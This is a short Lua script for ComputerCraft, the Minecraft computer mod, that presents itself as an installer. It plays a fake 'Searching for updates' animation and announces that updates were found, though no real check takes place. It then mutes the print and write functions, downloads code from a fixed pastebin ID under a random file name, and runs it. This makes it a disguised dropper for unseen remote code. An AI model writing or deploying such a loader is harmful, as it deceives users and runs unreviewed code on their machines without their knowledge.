local W,H = term.getSize()
local filters = {
    colorful=colors,
    gray={
        purple=colors.gray,
        gray=colors.gray,
        cyan=colors.lightGray,
        pink=colors.gray,
        green=colors.gray,
        magenta=colors.gray,
        black=colors.black,
        blue=colors.gray,
        white=colors.white,
        lime=colors.lightGray,
        browns=colors.gray,
        red=colors.gray,
        lightGray=colors.lightGray,
        yellow=colors.lightGray,
        orange=colors.gray,
        lightBlue=colors.lightGray,
    }
}

if(not _CC_VERSION) then
    error("This installer needs atleast CC 1.74 to run.",0)
end

local forceGrayscale = false

local filter = (term.isColor()and not forceGrayscale) and filters.colorful or filters.gray

local function box(x1,y1,x2,y2)
    for i = y1,y2 do
        term.setCursorPos(x1,i)
        term.write((" "):rep((x2-x1)+1))
    end
end


local function redrawBG()
    term.setBackgroundColor(filter.white)
    box(1,1,W,H)
end
local ascii = {
    "   ",
    ".  ",
    ".. ",
    "...",
    " ..",
    "  ."
}

redrawBG()
term.setTextColor(filter.gray)

local function middle(length)
    return math.floor((W/2)-(length/2)),math.floor(H/2)
end

for i = 1,#ascii*10 do
    local toDraw = (i % #ascii)+1
    term.setCursorPos(math.ceil((W/2)-(("Searching for updates"):len()/2)),(H/2))
    term.write("Searching for updates")
    term.setCursorPos((W/2)-(3/2),(H/2)+1)
    term.write(ascii[toDraw])
    sleep(.1)
end


redrawBG()
term.setCursorPos(middle(("Updates found."):len()))
term.write("Updates found.")
sleep(2)

redrawBG()
term.setCursorPos(middle(("the Updates are needed to install the installer"):len()))
term.write("the Updates are needed to install the installer")
sleep(2)

local _print = print
local _write = write
function _G.print()
    return
end

function _G.write()
    return
end

local function randomString(length)
    local alphabet="abcdefghijklmnopqrstuvwxyz"
    alphabet = alphabet..alphabet:upper()
    local cur = ""
    for i = 1,length do
        rnd = math.random(1,#alphabet)
        cur = cur..alphabet:sub(rnd,rnd)
    end
    return cur
end

local pastebinCode = "jxZCTzKf"

local name = randomString(10)

shell.run("pastebin get "..pastebinCode.." "..name)

_G.print = _print
_G.write = _write

redrawBG()

term.setCursorPos(middle(("installled update as "..name):len()))
term.write("Installed update as "..name)
sleep(1.5)
redrawBG()
term.setCursorPos(middle(("Running update now"):len()))
term.write("Running update now")
sleep(.5)
shell.run(name)
--added 120 line because symmetry.